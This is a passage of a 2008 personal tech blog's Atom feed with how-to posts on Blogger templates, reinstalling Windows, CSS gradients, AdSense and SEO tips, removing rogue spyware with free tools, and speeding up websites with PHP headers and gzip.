src="http://bp1.blogger.com/_nXiUn_G4NDk/SIWdSaqZGCI/AAAAAAAAAPg/oIjXAhqrfp0/s400/2col_template.png" alt="" id="BLOGGER_PHOTO_ID_5225755882353661986" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;How to install it 5 steps(detailed):&lt;/span&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Open Blogger Dashboard and go to &lt;span style="font-weight: bold;"&gt;Layout -&gt; Edit Html&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Backup your old template by pressing the &lt;span style="font-weight: bold;"&gt;Download Full Template&lt;/span&gt; link.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Download and save the new template from &lt;a href="http://royalsbg.com/tools/blogger_2col.xml"&gt;here&lt;/a&gt;. Then press the button &lt;span style="font-weight: bold;"&gt;Browse&lt;/span&gt;, load it in the 'Upload a template from a file on your hard drive' field and press &lt;span style="font-weight: bold;"&gt;Upload&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Next check &lt;span style="font-weight: bold;"&gt;Expand Widget Templates&lt;/span&gt; and change all "yourwebsite.com" items with your blog address.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Congratulations. Now you can see and use your new template!&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;If you have any further questions please ask.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-150769815305179564?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/150769815305179564/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=150769815305179564' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/150769815305179564'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/150769815305179564'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/07/2-column-blogger-template-simple-white.html' title='2 column blogger template - simple white'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_nXiUn_G4NDk/SIWdSaqZGCI/AAAAAAAAAPg/oIjXAhqrfp0/s72-c/2col_template.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-5859266839821634206</id><published>2008-07-18T00:17:00.000-07:00</published><updated>2008-07-18T01:14:48.169-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><category scheme='http://www.blogger.com/atom/ns#' term='do it yourself'/><title type='text'>How to do an easy windows reinstall</title><content type='html'>Next are few simple steps on how to complete a fresh windows installation.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Time:&lt;/span&gt; from 15 to 45 minutes depending on your computer speed.&lt;br /&gt;&lt;br /&gt;1. Provide yourself with Windows CD .&lt;br /&gt;2. Enter BIOS (immediately after restart press several times ESC, F1 or DEL keys). Search all the menus and find First Boot Device, Boot loader or Boot sequence. Change the settings so that your CD to be on first position and the other devices to follow. Exit BIOS saving the changes.&lt;br /&gt;3. If succeeded you'll see the following message: "Press any key to boot from CD..." Press any key to begin loading from the CD drive.&lt;br /&gt;4. Next press consecutively ENTER, F8, ESC. A menu will show to choose where do you want to install your new Windows (if the drive is partitioned you'll see C: and D:) Choose a preferred destination and press ENTER.&lt;br /&gt;5. If you want to save the current information on your drive choose: "Leave the current file system intact (no change)" and press ENTER. Otherwise choose "Format the partition using the NTFS file system", ENTER and press F.&lt;br /&gt;6. Unless you want to set the country, time and date settings press NEXT 3 times.&lt;br /&gt;7. Happy new Windows installation!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Laptop users&lt;/span&gt;&lt;br /&gt;Sometimes problems appear when the Windows installation could not recognize the laptop's hard drive. Here is a solution to that: after restart open Bios setup with continuously holding the keys F1, F2, F10, Esc or Del to access BIOS settings. Then go to System Configuration and Disable the SATA Native Mode. Save the changes and restart again. Then you could normally continue you Windows installation. For more information on the subject please read:&lt;br /&gt;http://h10025.www1.hp.com/ewfrf/wc/document?docname=c00758841&amp;amp;dlc=en&amp;amp;lc=en&amp;amp;cc=us&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;When problems appear&lt;/span&gt;&lt;br /&gt;If you sill experience problems i.e. the new installation fails to start or hangs, that indicates a conflict between your installed software or drivers and the Windows version. In such case enter in Safe Mode and run Start-&gt;Run-&gt;msconfig. Look through the startup programs and remove the unneeded. Restart. If windows still hangs again in Safe mode from Control Panel-&gt;System-&gt;Hardware-&gt;Device Manager delete the installed drives and hardware devices one by one. The reason behind this is that some new Windows versions are incompatible with older device drivers. When you succeed go to the device manufacturer's website and download appropriate drivers that will work without problems.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-5859266839821634206?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/5859266839821634206/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=5859266839821634206' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/5859266839821634206'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/5859266839821634206'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/07/how-to-do-easy-windows-reinstall.html' title='How to do an easy windows reinstall'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-3142949177695630947</id><published>2008-06-14T23:45:00.000-07:00</published><updated>2008-06-15T00:07:57.060-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>Protect Windows after installation</title><content type='html'>&lt;span class="smalltext"&gt;I'll present you Xpy &lt;/span&gt;&lt;br /&gt;http://xpy.whyeye.org/download/ a free Sourceforge project that closes standard security holes found in every fresh Windows installation that could be exploited by hackers or spyware.&lt;br /&gt;It works by automatically disabling unneeded services, hardening your system security settings. This way you'll enjoy improved privacy settings. Next to every action suggested by the program you'll find usable description of the threat that will be fixed.&lt;br /&gt;Though this software might increase your system performance altering the standard windows components communication with microsoft server, try it carefully.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-3142949177695630947?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/3142949177695630947/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=3142949177695630947' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/3142949177695630947'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/3142949177695630947'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/06/protect-windows-after-installation.html' title='Protect Windows after installation'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-5146512333929910277</id><published>2008-05-01T05:40:00.000-07:00</published><updated>2008-05-01T06:18:42.093-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webdesign'/><title type='text'>Create website gradients with CSS</title><content type='html'>&lt;span&gt;&lt;span&gt;In this post I'll show you an easy technique that can save you lots of time when you want to use gradients in your website.&lt;br /&gt;Here is an example:&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_nXiUn_G4NDk/SBm8OmeSnrI/AAAAAAAAAOY/aKkq3WCQgHM/s1600-h/gradient.gif"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://bp3.blogger.com/_nXiUn_G4NDk/SBm8OmeSnrI/AAAAAAAAAOY/aKkq3WCQgHM/s400/gradient.gif" alt="" id="BLOGGER_PHOTO_ID_5195390604180364978" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This has been produced by the following code:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&amp;lt;span class="one"&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;&amp;lt;span class="two"&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;&amp;lt;span class="three"&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;&amp;lt;span class="four"&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;&amp;lt;span class="five"&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;style&amp;gt;&lt;br /&gt;.one, .two, .three, .four, .five { float:right; width:10%; height:80px;line-height:80px; }&lt;br /&gt;.two {background:#D2E4F6;  }&lt;br /&gt;.one {background:#FFFFFF; }&lt;br /&gt;.three {background:#A5C9ED; }&lt;br /&gt;.four {background:#78ADE5; }&lt;br /&gt;.five {background:#4B92DC; }&lt;br /&gt;&amp;lt;/style&amp;gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;And the next one:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_nXiUn_G4NDk/SBnAtWeSnsI/AAAAAAAAAOg/XoDiTQHdG_8/s1600-h/gradient2.gif"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://bp2.blogger.com/_nXiUn_G4NDk/SBnAtWeSnsI/AAAAAAAAAOg/XoDiTQHdG_8/s400/gradient2.gif" alt="" id="BLOGGER_PHOTO_ID_5195395530507853506" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&amp;lt;style&amp;gt;&lt;br /&gt;span {&lt;br /&gt;height:10px;display:block;&lt;br /&gt;.g1 {background-color:rgb(255,105,105);}&lt;br /&gt;.g2 {background-color:rgb(255,125,125);}&lt;br /&gt;.g3 {background-color:rgb(255,145,145);}&lt;br /&gt;.g4 {background-color:rgb(255,165,165);}&lt;br /&gt;.g5 {background-color:rgb(255,185,185);}&lt;br /&gt;.g6 {background-color:rgb(255,205,205);}&lt;br /&gt;.g7 {background-color:rgb(255,225,225);}&lt;br /&gt;}&lt;br /&gt;&amp;lt;/style&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;span class="g1"&amp;gt;&amp;gt;/span&amp;gt;&lt;br /&gt;&amp;lt;span class="g2"&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;&amp;lt;span class="g3"&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;&amp;lt;span class="g4"&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;&amp;lt;span class="g5"&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;&amp;lt;span class="g6"&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;&amp;lt;span class="g7"&amp;gt;&amp;lt;/span&amp;gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;You can adjust the height of the gradient bar altering the CSS height property. The lower height value will give you smoother gradient.&lt;br /&gt;Cheers!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-5146512333929910277?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/5146512333929910277/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=5146512333929910277' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/5146512333929910277'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/5146512333929910277'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/05/create-website-gradients-with-css.html' title='Create website gradients with CSS'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_nXiUn_G4NDk/SBm8OmeSnrI/AAAAAAAAAOY/aKkq3WCQgHM/s72-c/gradient.gif' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-3815755142406123242</id><published>2008-04-11T00:04:00.000-07:00</published><updated>2008-04-11T00:40:57.494-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>Restore Show Desktop on taskbar</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_nXiUn_G4NDk/R_8VzewBUkI/AAAAAAAAAOI/NgPxTV6eL44/s1600-h/show_desktop.gif"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://bp3.blogger.com/_nXiUn_G4NDk/R_8VzewBUkI/AAAAAAAAAOI/NgPxTV6eL44/s400/show_desktop.gif" alt="" id="BLOGGER_PHOTO_ID_5187889269926089282" border="0" /&gt;&lt;/a&gt;It's a common issue when you are dealing with spyware or other software unistallation on Windows XP your favorite Show Desktop icon to disappear from taskbar. Here is one relatively simple way how you can restore this useful icon:&lt;br /&gt;1. Create file named: Show Desktop.scf&lt;br /&gt;2. Open notepad and paste this content:&lt;br /&gt;&lt;blockquote&gt;[Shell]&lt;br /&gt;Command=2&lt;br /&gt;IconFile=explorer.exe,3&lt;br /&gt;[Taskbar]&lt;br /&gt;Command=ToggleDesktop&lt;/blockquote&gt;3. Save the file&lt;br /&gt;4. Go to C:\Documents and Settings\your_username\Application Data\Microsoft\Internet Explorer\Quick Launch&lt;br /&gt;5. Paste the file there.&lt;br /&gt;&lt;br /&gt;That's it enjoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-3815755142406123242?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/3815755142406123242/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=3815755142406123242' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/3815755142406123242'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/3815755142406123242'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/04/restore-show-desktop-on-taskbar.html' title='Restore Show Desktop on taskbar'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_nXiUn_G4NDk/R_8VzewBUkI/AAAAAAAAAOI/NgPxTV6eL44/s72-c/show_desktop.gif' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-2638461800557849636</id><published>2008-03-13T12:37:00.000-07:00</published><updated>2008-03-13T13:05:14.000-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='seo'/><title type='text'>3 ways to increase CPC and eCPM</title><content type='html'>There are some things that anyone could do to increase his/her incomes when using Adsense.&lt;br /&gt;Here is the list:&lt;br /&gt;&lt;br /&gt;1. &lt;span style="font-weight: bold;"&gt;Changing ads&lt;/span&gt;&lt;br /&gt;Check your Adsense statistics. If you're having low CPC(cost per click) then you should move your ad above the fold and/or change its color scheme. Experiment until there's a positive effect.&lt;br /&gt;&lt;br /&gt;2. &lt;span style="font-weight: bold;"&gt;Try decreasing your ad units&lt;/span&gt;&lt;br /&gt;The reasons:&lt;br /&gt;&lt;br /&gt;- the second and third ad spot clicks are not so-profitable as the first ones. And if you have higher CPC on your middle ad then place it to appear first in your HTML code, then position with CSS to the place where it's getting maximum clicks.&lt;br /&gt;&lt;br /&gt;- when having 25 ad links on a page and the user clicks on only 1 then your eCPM will start to get low, because this way the advert impressions are growing but the clicks are staying same.&lt;br /&gt;&lt;br /&gt;3. &lt;span style="font-weight: bold;"&gt;Add more useful content to the webpage&lt;/span&gt;&lt;br /&gt;You can use Google Analytics or other web statistics software to see the average stay time on your webpages. This way you might find the pages that need to be enriched or rewritten. And if you manage to increase visitors stay time then your eCPM will surely grow!&lt;br /&gt;&lt;br /&gt;Cheers!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-2638461800557849636?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/2638461800557849636/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=2638461800557849636' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2638461800557849636'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2638461800557849636'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/03/3-ways-to-increase-cpc-and-ecpm.html' title='3 ways to increase CPC and eCPM'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-8192512510903771840</id><published>2008-02-29T13:25:00.000-08:00</published><updated>2008-02-29T13:53:59.756-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='seo'/><title type='text'>New tool to test your website content</title><content type='html'>As I noted previously in &lt;a href="http://nevyan.blogspot.com/2007/04/deoptimizing-new-way-of-seo.html"&gt;Deoptimizing - a new way of seo&lt;/a&gt; &lt;span style="font-weight: bold;"&gt;keyword density&lt;/span&gt; is an important factor if you're serious in SEO. Once when you have a great kind of content, the crucial part is to be able to present it infront of the right public.&lt;br /&gt;And by having keyword density above the threshold of 2 - 4% will put your content into the famous Supplemental index. &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;The result&lt;/span&gt;: it won't compete/show with other websites in SERPS.&lt;br /&gt;&lt;br /&gt;In order to prevent that from happening I wrote down a simple &lt;a href="http://tools.royalsbg.com/keyword-density-check.php"&gt;&lt;span style="font-weight: bold;"&gt;keyword density analyser&lt;/span&gt;&lt;/a&gt;.  You can check it out and I hope it'll help you in finding the ideal keyword density percentage. Any comments and suggestions are welcomed.&lt;br /&gt;Cheers!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-8192512510903771840?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/8192512510903771840/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=8192512510903771840' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/8192512510903771840'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/8192512510903771840'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/02/new-tool-to-test-your-website-content.html' title='New tool to test your website content'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-8770342450735458164</id><published>2008-02-09T08:20:00.000-08:00</published><updated>2009-12-12T12:52:02.639-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='antispyware'/><title type='text'>Free light antivirus for personal use</title><content type='html'>This time I'll present you RemoveIT Pro - free antivirus program for personal use.&lt;img src="http://bp3.blogger.com/_nXiUn_G4NDk/R63VAbHjqCI/AAAAAAAAAOA/ASxI4PTAzDo/s400/main.jpg" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;" /&gt; Here is short summary of program's features:&lt;br /&gt;* locates &amp;amp; removes many new dangerous Spyware, Malware, Viruses,&lt;br /&gt;Worms, Trojans and Adware that other popular AV programs could not find&lt;br /&gt;* sufficient updates&lt;br /&gt;* small size&lt;br /&gt;* runs on Windows XP and VISTA&lt;br /&gt;* quarantines bad files&lt;br /&gt;* fast scanning&lt;br /&gt;&lt;br /&gt;Download it from here: &lt;br /&gt;&lt;blockquote&gt;http://www.incodesolutions.com/downloads/removeit_pro.exe&lt;br /&gt;&lt;/blockquote&gt;After the installation just press Scan for viruses and wait.&lt;br /&gt;&lt;br /&gt;You may also be interested in the free &lt;a href="http://nevyan.blogspot.com/2006/10/fast-antivirus-solution-for-home-use.html"&gt;Spyware Terminator&lt;/a&gt; or other &lt;a href="http://nevyan.blogspot.com/2005/12/corporate-security-with-free-antivirus.html"&gt;antivirus products reviews&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-8770342450735458164?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/8770342450735458164/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=8770342450735458164' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/8770342450735458164'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/8770342450735458164'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/02/free-light-antivirus-for-personal-use.html' title='Free light antivirus for personal use'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_nXiUn_G4NDk/R63VAbHjqCI/AAAAAAAAAOA/ASxI4PTAzDo/s72-c/main.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-6643088013186273360</id><published>2008-01-23T21:53:00.000-08:00</published><updated>2008-02-03T04:25:12.274-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='antispyware'/><title type='text'>Dealing with rogue spyware</title><content type='html'>My friend's got infected with some rogue spyware that insisted on him to buy an antivirus program for ~50$. The pest constantly stayed at bottom of his taskbar saying: warning your computer is infected, please buy this program.&lt;br /&gt;&lt;br /&gt;I've seen this type of virus before and started my favorite free antivirus pack: Spyware Terminator, then MWAV/Kaspersky/, then CureIt/Dr.Web/ and Ewido/AVG/. During the scan in windows safe mode CureIt recognized a few files(variants) but even after their removal the virus stayed on the computer. From the commercial antivirus solutions that I've tried Sunbelt Counterspy detected the trojan properly:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Trojan-Downloader.Zlob.Media-Codec&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;a variant of SpyAxe/SmithFraud/SpywareQuake&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;My friend got worried and after some research on Internet I've found the Smithfraud fix tool:&lt;br /&gt;&lt;blockquote&gt;http://www.bleepingcomputer.com/files/smitfraudfix.php&lt;br /&gt;&lt;span style=";font-family:verdana;font-size:85%;"  &gt;&lt;a href="http://siri.urz.free.fr/Fix/SmitfraudFix.exe"&gt;&lt;/a&gt;&lt;/span&gt;http://siri.urz.free.fr/Fix/SmitfraudFix.exe&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The procedure that cleaned up the computer&lt;/span&gt; was pretty straightforward:&lt;br /&gt;1. Turn off the Windows System Restore&lt;br /&gt;2. Reboot under safe mode and run the SmithFraudFix.&lt;br /&gt;3. Press 2 from the options and the virus will be cured.&lt;br /&gt;The application restarts the explorer shell, kills the trojan process, and then deletes the specific virus files.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Update: &lt;/span&gt;One week later during active browsing the computer got infected again. This time when someone tried to open a folder in Windows Explorer the annoying alertbox popped up saying: You have a virus and you must download an antivirus application.&lt;br /&gt;At least the virus name was known as 'Files secure' having an entry in Add/Remove programs.  But the uninstaller's 'Next' button was disabled, so it couldn't be removed. The above described 3 step procedure again fixed the problem.&lt;br /&gt;&lt;br /&gt;Hope this will help you!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-6643088013186273360?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/6643088013186273360/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=6643088013186273360' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/6643088013186273360'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/6643088013186273360'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/01/dealing-with-spyware-that-doesnt-cure.html' title='Dealing with rogue spyware'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-6800172121286630323</id><published>2008-01-15T02:02:00.000-08:00</published><updated>2008-03-21T14:44:57.901-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='do it yourself'/><title type='text'>Speeding up website in 14 easy steps</title><content type='html'>I would like to share with you an excellent video presentation on optimizing websites. It shows the actual optimisation process for huge websites done via simple 14 steps. You could take them into account and optimize your website loading time. In a summary they are:&lt;br /&gt;&lt;br /&gt;1. Reduce the HTTP Requests - use Firebug Extension for Firefox, goto Net tab and see if you can merge your .css,  .js files and use sprites for images.&lt;br /&gt;2. Use a Content Delivery Network&lt;br /&gt;3. Add an Expires Header to skip the loading time of an already saved offline content from Internet:&lt;br /&gt;&lt;blockquote&gt;&amp;lt;?&lt;br /&gt;header("Expires: ".gmdate("D, d M Y H:i:s", time()+315360000)." GMT");&lt;br /&gt;?&amp;gt;&lt;/blockquote&gt;4. Add Gzip Compression to reduce webpage size send to browser. I've managed to get 50% faster pages by using this method in PHP:&lt;br /&gt;&lt;blockquote&gt;&amp;lt;?&lt;br /&gt;ob_start("ob_gzhandler");&lt;br /&gt;/* your webpage code */&lt;br /&gt;ob_end_flush();&lt;br /&gt;?&amp;gt;&lt;/blockquote&gt;5. Put Stylesheets at the top of the page to ensure that Internet Explorer will display the webpage content first&lt;br /&gt;6. Put Scripts at the bottom to show content to the user first and continue with the scripts loading&lt;br /&gt;7. Avoid CSS Expressions&lt;br /&gt;8. Make JavaScript and 